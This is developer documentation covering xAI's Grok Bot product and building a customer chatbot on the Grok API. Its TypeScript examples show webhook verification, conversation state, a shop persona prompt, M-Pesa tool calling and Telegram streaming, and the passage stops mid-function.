Linked plans don't stack. If you have both a Cursor plan and a linked SuperGrok subscription, Grok Bot uses whichever grants more weekly usage. The tiers map one-to-one:

Cursor = Grok
Pro SuperGrok = X Premium+
Pro+ SuperGrok Plus
Ultra SuperGrok Heavy

Usage and billing facts:

Linking a SuperGrok subscription

  1. Sign in with the right Cursor account first. A link is permanent: it cannot be unlinked or moved to another Cursor account.
  2. Desktop: Settings → Usage & Billing → "Link SuperGrok Heavy" (the button is named for your tier). Or use Link Grok Account on the access screen. Mobile: Link Grok Account, then Finished Linking? Refresh My Status.
  3. Allow up to 24 hours for a tier change to show. If linking fails, retry at cursor.com/bot/onboarding.
  4. Each subscription keeps billing on its own. Linking cancels nothing.

2. Setup

Prerequisite: privacy mode

Grok Bot needs cloud data storage. Accounts on Legacy Privacy Mode must switch before first use, at https://cursor.com/dashboard/settings?openPrivacy=true. With Privacy Mode on, your data is still not used for training.

Install

Download from https://x.ai/bot (Linux builds are under More downloads), from cursor.com/download/bot, or from the dashboard's Download Grok Bot row.

Platform Package Notes
macOS (Apple silicon, Intel) .dmg Drag to Applications. Check your chip under Apple menu → About This Mac
Windows (x64, Arm64) Setup .exe Per-user install under %LOCALAPPDATA%\Programs; silent switch /S. Architecture: Settings → System → About
Linux (x64, Arm64) .deb, .rpm, AppImage uname -m → x86_64 = x64, aarch64 = Arm64
iPhone / iPad App Store (id6794501026) iOS / iPadOS 18+
Android Google Play (ai.x.grok.bot) Android 9+

No MSI or PKG installer is published.

# Linux .deb / .rpm installs register a signed repo, so updates arrive via the
# package manager. You can hold a version (auto-update can't be disabled elsewhere):
sudo apt-mark hold grok-bot

Updates: the app auto-updates. That can't be disabled on macOS, Windows, or AppImage, and a remote "Update required" cutoff applies to every install type.

For scripted packaging, the release feed is https://api2.cursor.sh/updates/api/download/stable/{platform}/sand, with {platform} one of darwin-arm64, darwin-x64, win32-x64-user, win32-arm64-user, linux-x64, linux-arm64.

Sign in and create your first Bot

  1. Open the app → Sign in (browser-based Cursor auth; the page may show Grok or xAI branding). Grok Business seats use Sign in with Grok; SSO users follow their org's flow.
  2. New → Create new Bot (Cmd/Ctrl+N). Give it a name, a job, a description, and an avatar.
  3. Give it a first task in plain language.

Prefer several focused Bots ("Inbox", "Research", "Ops") over one catch-all. Each keeps its own memory and conversation.


3. The shared cloud computer

This is the concept to understand before you connect anything.

Maintenance action What it does Data
Recover Restarts an unreachable computer Kept
Update Bot's Computer Refreshes the image Files kept
Reset Restores the last snapshot May lose recent work. Use it last

Take over

When a site needs a password, 2FA, a CAPTCHA, or a payment confirmation, take over the Bot's screen, do it yourself, then choose "I'm done." Never paste credentials into chat.

Connectors vs. computer use


4. Working with Bots

Capability How
Message a Bot Type, dictate (Cmd/Ctrl+D), voice chat; Bots can reply with voice memos
Reference a skill /skill-name
Mention @ a Bot, group, routine, or connector
Attach files Up to 6 at a time on desktop; 25 MB per document/image/audio, 200 MB per video. PDF, Office, CSV, JSON, YAML, code, HTML, email, notebooks
Drafts Bots prepare email and Slack drafts that you send (or discard)
Stop "Stop now" halts work. It does not undo actions already taken
Group chats 2-6 Bots, @everyone. Approval requests, secret requests, and drafts don't appear in groups
Handoffs A Bot can message another Bot asynchronously ("Messaging Between Bots" is on by default)
Coding work A Bot can delegate to a Cursor Cloud Agent; results come back as attachments
Duplicate Copies profile, settings, skills, routines. Does not copy history, memory, or attachments
Share Public or team-only template link. Recipients get a copy of the configuration only

Memory is not authoritative. For consequential decisions, ask the Bot to check the current source rather than trust what it remembers.

Tag @bot on X

Post or reply with @bot, and your main Bot picks up the task. @bot confirms with a short public reply; the work and results stay in the app. The Bot receives your post, the post you replied to, and quoted posts (including still photos). Tagged requests use your weekly pool.

Setup: connect your X account on grok.com (Settings → Account → Connect next to 𝕏), on the same Grok account that has Grok Bot access, and own at least one Bot.

@bot stays silent when any of these is true:


5. Skills, routines, and automations

Skill Routine
What A reusable set of instructions A skill or task on a schedule
Create Ask a Bot to save a process it just completed, or Teach a task: record a demo of up to 10 minutes (no mic audio; desktop only; gradual rollout) Ask a Bot in natural language ("Every weekday at 8:00 AM, …"). Cron is not documented
Scope One private skill library shared by all your Bots Per Bot
Limits — ≥5 minutes between runs, up to 50 routines per Bot, last 20 run records kept; may auto-pause after a long absence
Triggers — Schedules, or events through Cursor account integrations (e.g. a Slack message, a GitHub notification). Webhooks are not documented

Routine checklist when one doesn't run: is it disabled? Is the time zone right? Was the owning Bot deleted? Is the plugin's auth still valid? Is usage paused? Did the trigger rule match? Then check the run history.


6. Approvals and Auto Review

Bots pause for your approval on consequential actions: Allow once, Always allow, or Deny. Requests raised by routines, triggers, or other Bots expire after about 10 minutes.

Auto Review is a model-based check of shell commands, plugin calls, computer use, automation writes, and delegation. It can allow, ask, or deny.

Execution on your local computer (running things on your own machine, not the cloud one) is a separate setting: Ask every time (personal default), Always allow (team default), or Never allow. The docs recommend Never allow.


7. Teams and Enterprise

Access:

Team Bots are one shared Bot with team memory plus private notes per person. Setup cards cover plugins, secrets (up to 25), skills, and files (.txt/.md/.csv/.json/.yaml, 256K characters each). Each Team Bot can have its own Slack app. Routines stay personal, and usage is charged to each teammate's own allowance.

Control Default Plan
Cloud Agents delegation On Teams + Enterprise
Agent Email Off Teams + Enterprise
Public template sharing Off on Enterprise Teams + Enterprise
Connector policy (inherits Cursor's) — Teams + Enterprise
Team Rules — Teams + Enterprise
MCP allowlist — Enterprise
Network Controls (Allow All / Defaults + Team Allowlist / Team Allowlist Only) Allow All Enterprise
Allow Local Egress Routing On Enterprise
Allow Sudo on Bot Computers On Enterprise
Enforce Auto-review Off Enterprise
Team Setup install scripts — Enterprise
Team Secrets (100 per team, 32 KB each, 96 KB total; dashboard only) — Enterprise
Terminate inactive computers (30 days) Off Enterprise
Action Recording (OTel export) / conversation export / audit logs Off Enterprise

Admins cannot push connectors to members.

Identity

Networks and proxies

Deployment and data


8. Developer and integration surface

There is no public API, SDK, CLI, or webhook to drive Grok Bot programmatically. What exists:

Surface What it does
Custom MCP plugins Two types: Remote HTTPS (Bot credential or per-user OAuth) and Command (runs on the cloud computer). Documented in the Team Bots plugin table. Enterprise can enforce an MCP allowlist
Admin API Enablement, network policy, Team Rules, setup scripts
Organization API (admin:* scope) Recreate, terminate, or delete Bot computers
OpenTelemetry export Action Recording with the tag cursor.surface=grok_bot (Enterprise)
Event triggers Routines fired by Cursor integrations (Slack, GitHub)
Cursor Cloud Agents A Bot delegates coding work; results return as attachments

Exposing your own service to a Bot via MCP

The closest documented recipe is xAI's custom-connector tunneling guide (written for Grok connectors). It shows how to put a local MCP server on a public HTTPS URL:

ngrok http 3001
# or
cloudflared tunnel --url http://localhost:3001

Rules from that page:

For anything long-lived, deploy the MCP server properly (see cloudflare/ or vercel/) rather than leaving a tunnel open.


codeAmani notes

Security

Where it fits for codeAmani


Troubleshooting

Symptom Fix
Sign-in doesn't complete Keep the app open, return to it manually, and use the org SSO account
"Legacy Privacy Mode" error Switch the Cursor data setting (cursor.com/dashboard/settings?openPrivacy=true)
Setup or image update hangs Wait, retry, restart, then Settings → Computer → Update Bot's Computer
Computer unreachable Retry → restart → Recover → Update → (mobile) Settings → Bot → Bot Computer → Reset Computer. Reset last, since it can lose unsynced work
Bot looks stuck Look for a pending approval, login, CAPTCHA, or secret request; redirect it or send Stop now. One computer-use task per screen
Usage exhausted Settings → Usage & Billing; enable on-demand or wait for the weekly reset
Site keeps asking for login Take over and sign in yourself
Plugin won't authenticate Connect apps → Your plugins → re-auth; remove and re-add if revoked
Attachment unreadable Check 25 MB / 200 MB limits, the 6-file limit, encryption, upload completion, file type
Routine didn't run Disabled? Time zone? Owning Bot deleted? Plugin auth? Usage paused? Trigger rule? Then run history
Approval keeps blocking An Ask first rule takes precedence. Review Auto-review rules
Local work refused Check Execution on Local Computer
@bot silent on X Region, video/GIF, @grok also tagged, moderation, or usage exhausted
Computer setup fails on a corporate network Nested *.*.cursorvm.com not allowed, or TLS inspection active. curl -v https://api2.cursor.sh should show issuer Amazon RSA
SuperGrok link not reflected Allow up to 24 h; retry at cursor.com/bot/onboarding

Limitations (as documented)

Official docs:

Grok Chatbot Developer Guide

Technology: grok-chatbot · Category: ai · Last reviewed: 2026-10-18

Source: https://tech-stack.codeamanilabs.org/guide/grok-chatbot

Insight:

A Grok chatbot is not an API call. It is a stateful loop wrapped around a stateless model. The API reference (see xai/) gives you one turn; a bot has to own the other four jobs: persist the transcript, hold a persona steady, execute tools the model asks for, and deliver a reply into a chat surface that has its own rules (WhatsApp's 24-hour window, Telegram's 4096-char cap). The trade-off worth naming up front: Grok's web_search/x_search tools and 500k-1M context make it a strong grounded bot brain, but reasoning latency and per-conversation token growth are what will actually break your build. Cap history, cap steps, meter cost per conversation, and keep a Claude fallback wired behind the same interface.

 ██████╗ ██████╗  ██████╗ ██╗  ██╗     ██████╗██╗  ██╗ █████╗ ████████╗
██╔════╝ ██╔══██╗██╔═══██╗██║ ██╔╝    ██╔════╝██║  ██║██╔══██╗╚══██╔══╝
██║  ███╗██████╔╝██║   ██║█████╔╝     ██║     ███████║███████║   ██║
██║   ██║██╔══██╗██║   ██║██╔═██╗     ██║     ██╔══██║██╔══██║   ██║
╚██████╔╝██║  ██║╚██████╔╝██║  ██╗    ╚██████╗██║  ██║██║  ██║   ██║
 ╚═════╝ ╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═╝     ╚═════╝╚═╝  ╚═╝╚═╝  ╚═╝   ╚═╝

Grok Chatbot Developer Guide

Focus: building your own chatbot on the Grok API: the webhook loop, conversation state, persona design, tool calling, streaming into a chat surface, cost guardrails, and a Grok→Claude fallback. Two neighbours, not repeated here:

  • xai/ is the raw API reference (model IDs, SDK setup, image generation).
  • grok-bot/ is xAI's product called Grok Bot: ready-made AI teammates on a cloud computer, used through an app, with no API. If you want a bot you use, read that one. If you want a bot you ship to your customers, you are in the right place.

Overview

The xAI API is stateless by default. Every request is a fresh mind with no memory of the last one. A bot is the machinery you build around that fact:

Job What it means Where it lives
Ingress Receive an inbound message and prove it is real Webhook route + signature verification
Identity Map a phone number / chat ID to a conversation row Your database
State Rebuild the transcript the model needs, and only that History window + summariser
Persona Keep tone, scope, and refusals stable across turns System prompt (instructions)
Action Let the model call your business functions Tool loop
Egress Deliver the reply within the surface's rules Send API + chunking
Economics Know what each conversation cost you Usage logging per turn

Only the middle box is Grok. Six of the seven jobs are yours.

flowchart LR
  A["User in<br/>WhatsApp · Telegram · Discord"] -->|"inbound webhook"| B["Verify signature<br/>+ ACK 200 fast"]
  B --> C["Load conversation<br/>by chat_id"]
  C --> D["Build messages:<br/>persona + summary<br/>+ last N turns"]
  D --> E["Grok<br/>grok-4.7"]
  E -->|"function_call"| F["Execute tools<br/>order lookup · M-Pesa STK<br/>delivery quote"]
  F --> E
  E -->|"final text"| G["Chunk + send<br/>via surface API"]
  E -.->|"on 429 / 5xx / timeout"| H["Claude fallback<br/>same tool schema"]
  H --> G
  G --> I["Persist turn<br/>+ log tokens & cost"]
  I --> C

Which surface?

Surface Transport Streaming to user? The rule that will bite you
WhatsApp Cloud API REST over Graph API, pure HTTP (no SDK) No. One message per send The 24-hour window: outside it, only pre-approved templates go through
Telegram Bot API, grammy Yes, natively, in private chats via sendMessageDraft (Bot API 9.3+, all bots since 9.5) Drafts are ephemeral 30-second previews; you must still sendMessage the final text. 4096-char cap
Discord Gateway + REST, discord.js Simulated via message edits 3s interaction ACK deadline: deferReply() or it fails

Cross-references in this repo: whatsapp-business-api/ for the messaging surface itself, ai-agents/ for the general agent loop across providers, together-ai/ for the cheap open-model tier that can serve as a second fallback.

Official Documentation

Resource URL
xAI quickstart https://docs.x.ai/developers/quickstart
Responses vs Chat Completions (Chat Completions is deprecated) https://docs.x.ai/developers/model-capabilities/text/comparison
Function calling https://docs.x.ai/developers/tools/function-calling
Server-side tools (web_search, x_search) https://docs.x.ai/developers/tools/overview
Models & pricing https://docs.x.ai/developers/models
Tool invocation pricing https://docs.x.ai/developers/pricing
Prompt caching, multi-turn https://docs.x.ai/developers/advanced-api-usage/prompt-caching/multi-turn
Rate limits https://docs.x.ai/developers/rate-limits
AI SDK xAI provider https://ai-sdk.dev/providers/ai-sdk-providers/xai
AI SDK tools & tool calling https://ai-sdk.dev/docs/ai-sdk-core/tools-and-tool-calling
WhatsApp Cloud API https://developers.facebook.com/docs/whatsapp/cloud-api
WhatsApp webhooks https://developers.facebook.com/docs/whatsapp/cloud-api/webhooks
Telegram Bot API (sendMessageDraft) https://core.telegram.org/bots/api#sendmessagedraft

Setup

Install

npm install @ai-sdk/xai ai zod @ai-sdk/anthropic

As of 2026-10-18: @ai-sdk/xai@5.0.24, ai@7.0.143, and @ai-sdk/anthropic@4.0.82 all pin @ai-sdk/provider@4.0.29. Upgrade the three together or the provider types drift. Note the xAI provider is a major version ahead of the Anthropic one (5.x vs 4.x). That is expected, not a mismatch.

Add the messaging client for your surface. WhatsApp Cloud API needs none (plain fetch against the Graph API):

npm install grammy        # Telegram (1.46+ has sendMessageDraft)
npm install discord.js    # Discord
npm install openai        # optional: hand-rolled loop against api.x.ai/v1/responses

Environment variables

# Grok: server-side only, never NEXT_PUBLIC_*
XAI_API_KEY=xai-...

# Fallback provider (codeAmani AI routing policy)
ANTHROPIC_API_KEY=sk-ant-...

# WhatsApp Cloud API
WHATSAPP_ACCESS_TOKEN=<system user token>
WHATSAPP_PHONE_NUMBER_ID=<from Meta app dashboard>
WHATSAPP_VERIFY_TOKEN=<random string you invent, echoed on GET>
WHATSAPP_APP_SECRET=<for X-Hub-Signature-256 verification>

# Telegram
TELEGRAM_BOT_TOKEN=<from @BotFather>
TELEGRAM_WEBHOOK_SECRET=<random; sent as X-Telegram-Bot-Api-Secret-Token>

# Conversation store
DATABASE_URL=<postgres connection string>

The model

Pin an explicit ID. xAI's alias rules: <model> tracks the latest stable version, <model>-latest the latest of any kind, and <model>-<date> never moves. As of 2026-10-18:

Model Context Input / cached / output per 1M (<200k prompt) Use in a bot
grok-4.7 500k $2.00 / $0.50 / $6.00 Flagship. The chat turn
grok-4.6 500k $2.00 / $0.50 / $6.00 Previous flagship, same price. No reason to stay on it
grok-4.3 1M $1.25 / $0.20 / $2.50 Summarisation, classification, long transcripts
grok-build-0.1 256k $1.00 / $0.20 / $2.00 Coding model. Not a chat persona

The 200k cliff: once a request's prompt reaches 200k tokens, every token in that request bills at the higher tier (double the rates above). An uncapped bot transcript drifts across that line. That is why §2 caps history.

grok-4.3 accepts providerOptions.xai.reasoningEffort of 'none' | 'low' | 'medium' | 'high'. 'none' makes it a fast, cheap summariser. The AI SDK docs don't list effort support for grok-4.7 yet, so leave it unset there.

// lib/bot/model.ts
export const GROK_MODEL = "grok-4.7" as const;
export const GROK_CHEAP_MODEL = "grok-4.3" as const;

Retired slugs still resolve, at grok-4.3 prices. grok-4-1-fast-*, grok-4-fast-*, grok-4-0709, and grok-3 were retired on 2026-05-15 and silently redirect to grok-4.3. If an old bot "still works", check which model it is actually billing.

Responses API is the default now

Since AI SDK 7, xai(modelId) calls xAI's Responses API (/v1/responses), not Chat Completions. xAI now marks Chat Completions deprecated ("legacy endpoint, limited updates") and recommends Responses. Two consequences for a bot:

  1. store defaults to true. xAI keeps the input and response for 30 days so you can continue with previous_response_id. For a customer chatbot carrying phone numbers and addresses, that is personal data sitting at a third party. This guide rebuilds history from your own database every turn, so it does not need server-side state: set store: false.
  2. You can still pass the full message history every turn (the AI SDK does), and the Responses API still bills cached prefix tokens at the cached rate.
// Put this on every bot call.
export const XAI_BOT_OPTIONS = { store: false } as const;

1. The bot loop

The shape is always the same, whatever the surface: acknowledge the webhook immediately, then do the work. Meta retries any webhook you do not 200 within seconds, and a retried webhook means a duplicate reply to the user.

// app/api/whatsapp/webhook/route.ts
import { createHmac, timingSafeEqual } from "node:crypto";
import { after } from "next/server";
import { handleTurn } from "@/lib/bot/turn";

// Meta's verification handshake runs once, when you register the callback URL
export async function GET(req: Request) {
  const url = new URL(req.url);
  const mode = url.searchParams.get("hub.mode");
  const token = url.searchParams.get("hub.verify_token");
  const challenge = url.searchParams.get("hub.challenge");

  if (mode === "subscribe" && token === process.env.WHATSAPP_VERIFY_TOKEN) {
    return new Response(challenge, { status: 200 });
  }
  return new Response("forbidden", { status: 403 });
}

export async function POST(req: Request) {
  // Signature is computed over the RAW body. Read text, never req.json() first
  const raw = await req.text();
  if (!verifySignature(raw, req.headers.get("x-hub-signature-256"))) {
    return new Response("invalid signature", { status: 401 });
  }

  const payload = JSON.parse(raw);
  const msg = payload.entry?.[0]?.changes?.[0]?.value?.messages?.[0];

  // ACK first; run the model after the response is sent.
  if (msg?.type === "text") {
    after(() => handleTurn({ chatId: msg.from, text: msg.text.body, messageId: msg.id }));
  }
  return new Response("ok", { status: 200 });
}

function verifySignature(raw: string, header: string | null) {
  if (!header?.startsWith("sha256=")) return false;
  const expected = createHmac("sha256", process.env.WHATSAPP_APP_SECRET as string)
    .update(raw)
    .digest("hex");
  const a = Buffer.from(header.slice(7), "hex");
  const b = Buffer.from(expected, "hex");
  return a.length === b.length && timingSafeEqual(a, b);
}

On a platform without after() (or for work longer than the function timeout), push the turn onto a durable queue instead and let a worker run it. Webhook handlers are the wrong place to wait on a reasoning model.

Idempotency. WhatsApp and Telegram both redeliver. Store the inbound provider message ID with a unique constraint and drop duplicates before you spend a token:

const inserted = await db
  .insertInto("bot_messages")
  .values({ chat_id: chatId, provider_message_id: messageId, role: "user", content: text })
  .onConflict((oc) => oc.column("provider_message_id").doNothing())
  .executeTakeFirst();

if (Number(inserted?.numInsertedOrUpdatedRows ?? 0) === 0) return; // already handled

2. Conversation state

The model is stateless; the transcript is a table. The naive version, appending every turn forever and resending it, works for a week. Then it bills you for a 200k-token prompt (at the doubled tier) on every "asante".

create table bot_conversations (
  id           uuid primary key default gen_random_uuid(),
  chat_id      text not null unique,      -- 254712345678, or Telegram chat.id
  surface      text not null,             -- 'whatsapp' | 'telegram' | 'discord'
  summary      text,                      -- rolling compression of older turns
  locale       text not null default 'en',
  last_user_at timestamptz,               -- drives the WhatsApp 24h window check
  created_at   timestamptz not null default now()
);

create table bot_messages (
  id                  bigserial primary key,
  conversation_id     uuid not null references bot_conversations(id) on delete cascade,
  role                text not null,      -- 'user' | 'assistant' | 'tool'
  content             jsonb not null,
  provider_message_id text unique,        -- idempotency key
  provider            text,               -- 'xai' | 'anthropic' | 'none'
  prompt_tokens       int,
  completion_tokens   int,
  cached_tokens       int,
  cost_usd            numeric(12,6),
  created_at          timestamptz not null default now()
);

create index on bot_messages (conversation_id, created_at desc);

The window + summary pattern

Keep the last N turns verbatim; compress everything older into one paragraph the persona can read.

// lib/bot/history.ts
import type { ModelMessage } from "ai";

const VERBATIM_TURNS = 12;

export async function buildMessages(conversationId: string): Promise<ModelMessage[]> {
  const convo = await getConversation(conversationId);
  const recent = await getRecentMessages(conversationId, VERBATIM_TURNS);

  const messages: ModelMessage[] = [];
  if (convo.summary) {
    messages.push({
      role: "user",
      content: `[Earlier in this conversation]\n${convo.summary}`,
    });
  }
  for (const m of recent) {
    messages.push({ role: m.role, content: m.content } as ModelMessage);
  }
  return messages;
}

Re-summarise on a threshold, not on every turn. A summary call is a full model call, so run it on the cheap model with reasoning off:

import { xai } from "@ai-sdk/xai";
import { generateText } from "ai";

export async function maybeCompress(conversationId: string) {
  const count = await countMessagesSinceSummary(conversationId);
  if (count < 24) return;

  const { text } = await generateText({
    model: xai(GROK_CHEAP_MODEL),
    instructions:
      "Compress this customer conversation into under 150 words. Preserve: names, " +
      "order numbers, amounts, phone numbers, delivery addresses, and any unresolved " +
      "request. Drop pleasantries. Write in the third person.",
    messages: await getAllMessagesSinceSummary(conversationId),
    providerOptions: { xai: { ...XAI_BOT_OPTIONS, reasoningEffort: "none" } },
  });

  await saveSummary(conversationId, text);
}

Prompt caching

A bot's prompt is mostly a stable prefix (persona + summary) with a short tail, which is exactly what xAI's prefix cache rewards. Three rules from xAI's multi-turn caching docs:


3. Persona design

The system prompt is the only thing standing between "helpful shop assistant" and "Grok being Grok at your customer". Treat it as code: version it, test it, and never build it from user input.

// lib/bot/persona.ts
export function buildInstructions(ctx: {
  businessName: string;
  locale: "en" | "sw";
  hoursText: string;
}) {
  return [
    `You are the WhatsApp assistant for ${ctx.businessName}, a shop in Nairobi.`,
    "",
    "## Scope",
    "You handle: product availability, prices in KES, order status, delivery times,",
    "and M-Pesa payment. For anything else, say you'll pass it to a human and stop.",
    "",
    "## Voice",
    "Short. Two or three sentences, then a question or a next step. This is WhatsApp,",
    "not email. No markdown headings, no bullet lists, no emoji unless the customer",
    "used one first.",
    ctx.locale === "sw"
      ? "Reply in the language the customer writes in. Kiswahili and Sheng are both fine; keep numbers and product names in the original."
      : "Reply in English.",
    "",
    "## Hard rules",
    "- Never invent a price, stock level, or order status. Call a tool or say you don't know.",
    "- Never state that a payment succeeded. Only confirm what check_payment_status returns.",
    "- Never ask for an M-Pesa PIN. Nobody legitimate ever does.",
    "- Amounts are whole KES. Phone numbers are 254XXXXXXXXX.",
    `- Shop hours: ${ctx.hoursText}. Outside them, say when you reopen.`,
    "",
    "## Escalation",
    "If the customer is angry, asks for a refund, or repeats a question twice,",
    "call handoff_to_human and say a person will reply shortly. Do not keep trying.",
  ].join("\n");
}

Four things make the difference between a demo and a bot that survives a full shift:

  1. Scope fence before voice. A model that knows what it must not answer degrades gracefully; a model that only knows its tone will confidently answer anything.
  2. "Call a tool or say you don't know." State this explicitly. It is the single highest-leverage line against hallucinated stock levels and invented order numbers.
  3. An escalation tool. Without one, the model's only options are to keep improvising or to refuse. Give it a third door.
  4. Never interpolate user text into the persona. Customer content belongs in a user message, always. Interpolating it is prompt injection with extra steps.

4. Tool calling from a bot loop

This is where a bot stops being a chat toy. The AI SDK runs the loop for you (the model asks, your execute runs, the result goes back, repeat), bounded by stopWhen. Custom tools reach xAI's Responses API as type: "function" tools.

// lib/bot/tools.ts
import { tool } from "ai";
import { z } from "zod";

export const botTools = {
  check_stock: tool({
    description: "Look up whether a product is in stock and its current price in KES.",
    inputSchema: z.object({
      query: z.string().describe("Product name or SKU as the customer said it"),
    }),
    execute: async ({ query }) => {
      const items = await searchInventory(query);
      return items.slice(0, 5).map((i) => ({ sku: i.sku, name: i.name, qty: i.qty, price_kes: i.priceKes }));
    },
  }),

  request_mpesa_payment: tool({
    description:
      "Send an M-Pesa STK Push to the customer's phone for a confirmed order. " +
      "Only call this after the customer has explicitly agreed to the total.",
    inputSchema: z.object({
      order_id: z.string().uuid(),
      amount_kes: z.number().int().positive().describe("Whole KES only. Daraja rejects decimals"),
      phone: z.string().regex(/^254\d{9}$/, "Must be 254XXXXXXXXX"),
    }),
    execute: async ({ order_id, amount_kes, phone }) => {
      // Idempotency: one live STK per order. See MPESA_PATTERNS.md.
      const existing = await getLiveCheckout(order_id);
      if (existing) return { status: "already_pending", checkout_request_id: existing.id };

      const res = await stkPush({ order_id, amount: amount_kes, phone });
      await saveCheckoutRequestId(order_id, res.CheckoutRequestID);
      return { status: "prompt_sent", checkout_request_id: res.CheckoutRequestID };
    },
  }),

  check_payment_status: tool({
    description: "Read the recorded status of an M-Pesa checkout. Never guess payment status.",
    inputSchema: z.object({ checkout_request_id: z.string() }),
    execute: async ({ checkout_request_id }) => getCheckoutStatus(checkout_request_id),
  }),

  handoff_to_human: tool({
    description: "Escalate to a human agent. Use for refunds, complaints, or repeated confusion.",
    inputSchema: z.object({ reason: z.string(), urgency: z.enum(["normal", "high"]) }),
    execute: async ({ reason, urgency }) => {
      await openSupportTicket({ reason, urgency });
      return { escalated: true };
    },
  }),
};
// lib/bot/generate.ts
import { xai } from "@ai-sdk/xai";
import { generateText, isStepCount } from "ai";
import { botTools } from "./tools";
import { buildInstructions } from "./persona";
import { GROK_MODEL, XAI_BOT_OPTIONS } from "./model";

export async function runTurn(conversationId: string, ctx: PersonaCtx) {
  const result = await generateText({
    model: xai(GROK_MODEL),
    instructions: buildInstructions(ctx),
    messages: await buildMessages(conversationId),
    tools: botTools,
    // Default is isStepCount(1). WITHOUT this the loop stops after the first
    // tool call and your user gets an empty reply.
    stopWhen: isStepCount(5),
    maxOutputTokens: 600,               // WhatsApp bubbles are small
    headers: { "x-grok-conv-id": conversationId },
    providerOptions: { xai: { ...XAI_BOT_OPTIONS, promptCacheKey: conversationId } },
  });

  return {
    text: result.text,
    usage: result.usage,               // v7: totals across ALL steps
    steps: result.steps,               // per-step usage, needed for exact costing (§6)
  };
}

Three rules for bot tools

Scoping tools to the caller

A tool that reads customer data must get the caller's identity from your code, never from a model-supplied argument. The model will happily pass someone else's order number. AI SDK v7 does this with typed tool context: the tool declares a contextSchema, execute receives { context }, and each call supplies a toolsContext map keyed by tool name. (experimental_context from older SDKs is gone.)

const callerContext = z.object({ chatId: z.string() });

const check_order = tool({
  description: "Look up an order by reference for the CURRENT customer.",
  inputSchema: z.object({ reference: z.string().min(4) }),
  contextSchema: callerContext,
  execute: async ({ reference }, { context }) => {
    const order = await db.order.findFirst({ where: { reference, chatId: context.chatId } });
    return order ?? { error: "not_found" };
  },
});

await generateText({
  model: xai(GROK_MODEL),
  // ...
  tools: { check_order },
  toolsContext: { check_order: { chatId } }, // required once any tool declares contextSchema
});

"Live Search" (the old search_parameters request field) is gone from xAI's docs. Grounding is now done with server-side tools that xAI runs on its own infrastructure:

Tool AI SDK Price
web_search xai.tools.webSearch() $5 per 1k calls
x_search xai.tools.xSearch() $5 per 1k posts returned + $10 per 1k profiles

Plus the tokens the results add to the prompt.

The sources disagree on mixing these with your function tools. xAI's docs say server-side tools can be combined with client-side functions in one request. The @ai-sdk/xai@5.0.24 docs say the Responses API "cannot mix server-side tools with client-side function tools in the same request." Until you have tested the combination on your exact versions, use the shape that works under either rule: give the bot a function tool that runs search as its own request.

// lib/bot/tools.ts (add to botTools)
import { xai } from "@ai-sdk/xai";
import { generateText } from "ai";

search_web: tool({
  description:
    "Look up current facts on the web (today's prices, schedules, news). " +
    "Only use when the answer depends on information from today.",
  inputSchema: z.object({ query: z.string() }),
  execute: async ({ query }) => {
    const { text, sources } = await generateText({
      model: xai(GROK_MODEL),
      prompt: `Answer briefly and factually: ${query}`,
      tools: { web_search: xai.tools.webSearch() },
      providerOptions: { xai: { ...XAI_BOT_OPTIONS, maxTurns: 3 } }, // caps xAI's internal search loop
    });
    return {
      answer: text.slice(0, 1200),
      sources: sources.flatMap((s) => (s.sourceType === "url" ? [s.url] : [])).slice(0, 3),
    };
  },
}),

This also gives you a natural meter: count search_web calls per conversation and price them at $0.005 each.

Owning the loop by hand (Responses API)

If you would rather not use the AI SDK, write the loop against /v1/responses. Do not write new code against Chat Completions; xAI marks it deprecated. The documented shape: the model returns function_call items; you reply with function_call_output items and chain with previous_response_id.

import OpenAI from "openai";

const client = new OpenAI({
  apiKey: process.env.XAI_API_KEY,
  baseURL: "https://api.x.ai/v1",
  timeout: 360_000, // reasoning models think before they answer
});

// The SDK's FunctionTool type requires `strict`. true needs additionalProperties: false.
const tools: OpenAI.Responses.FunctionTool[] = [
  {
    type: "function",
    name: "check_stock",
    description: "Look up stock and price in KES.",
    strict: false,
    parameters: { type: "object", properties: { query: { type: "string" } }, required: ["query"] },
  },
];

let response = await client.responses.create({ model: "grok-4.7", input: history, tools });

for (let step = 0; step < 5; step++) {
  const calls = response.output.filter((item) => item.type === "function_call");
  if (calls.length === 0) break;

  // Parallel tool calls are ON by default. Resolve ALL of them before continuing.
  const outputs = await Promise.all(
    calls.map(async (call) => ({
      type: "function_call_output" as const,
      call_id: call.call_id,
      output: JSON.stringify(await runTool(call.name, JSON.parse(call.arguments))),
    })),
  );

  response = await client.responses.create({
    model: "grok-4.7",
    previous_response_id: response.id,
    input: outputs,
    tools,
  });
}

const reply = response.output_text;

previous_response_id only works because store defaults to true, so xAI keeps the conversation for 30 days. If that is not acceptable for your data, resend the full input each step instead (what the AI SDK path does with store: false). parallel_tool_calls: false disables multi-call responses if your tools are not safe to run concurrently. With streaming, a function call arrives whole in a single chunk; it is not streamed across deltas.


5. Streaming into a chat surface

Chat surfaces are not terminals, and each one streams differently:

Telegram: sendMessageDraft

Bot API 9.3 added sendMessageDraft ("stream a partial message to a user while the message is being generated"); 9.5 opened it to all bots. The rules, from the Bot API reference:

// lib/bot/stream-telegram.ts
import type { Bot } from "grammy";
import { xai } from "@ai-sdk/xai";
import { streamText, isStepCount } from "ai";

const TG_LIMIT = 4096;

export async function streamToTelegram(
  bot: Bot,
  chat: { id: number; type: string },
  draftId: number,               // e.g. the inbound message_id. Must be non-zero
  opts: TurnOpts,
) {
  const canDraft = chat.type === "private";
  if (canDraft) await bot.api.sendMessageDraft(chat.id, draftId, ""); // "Thinking…"
  else await bot.api.sendChatAction(chat.id, "typing");

  const result = streamText({
    model: xai(GROK_MODEL),
    instructions: opts.instructions,
    messages: opts.messages,
    tools: botTools,
    stopWhen: isStepCount(5),
    abortSignal: opts.abortSignal,  // aborted on stopped_message_generation
    providerOptions: { xai: { ...XAI_BOT_OPTIONS } },
  });

  let buffer = "";
  let lastDraft = 0;
  for await (const part of result.stream) {
    if (part.type !== "text-delta") continue;
    buffer += part.text;
    if (!canDraft) continue;                    // groups: send once at the end
    const now = Date.now();
    if (now - lastDraft < 500) continue;        // no documented draft rate. Throttle anyway
    lastDraft = now;
    await bot.api.sendMessageDraft(chat.id, draftId, buffer.slice(0, TG_LIMIT), { can_stop: true });
  }

  // Drafts vanish. Persist the final answer, split at the 4096-char limit.
  for (const chunk of chunkText(buffer, TG_LIMIT)) {
    await bot.api.sendMessage(chat.id, chunk);
  }
}

function chunkText(text: string, limit: number): string[] {
  const chunks: string[] = [];
  let rest = text.trim();
  while (rest.length > limit) {
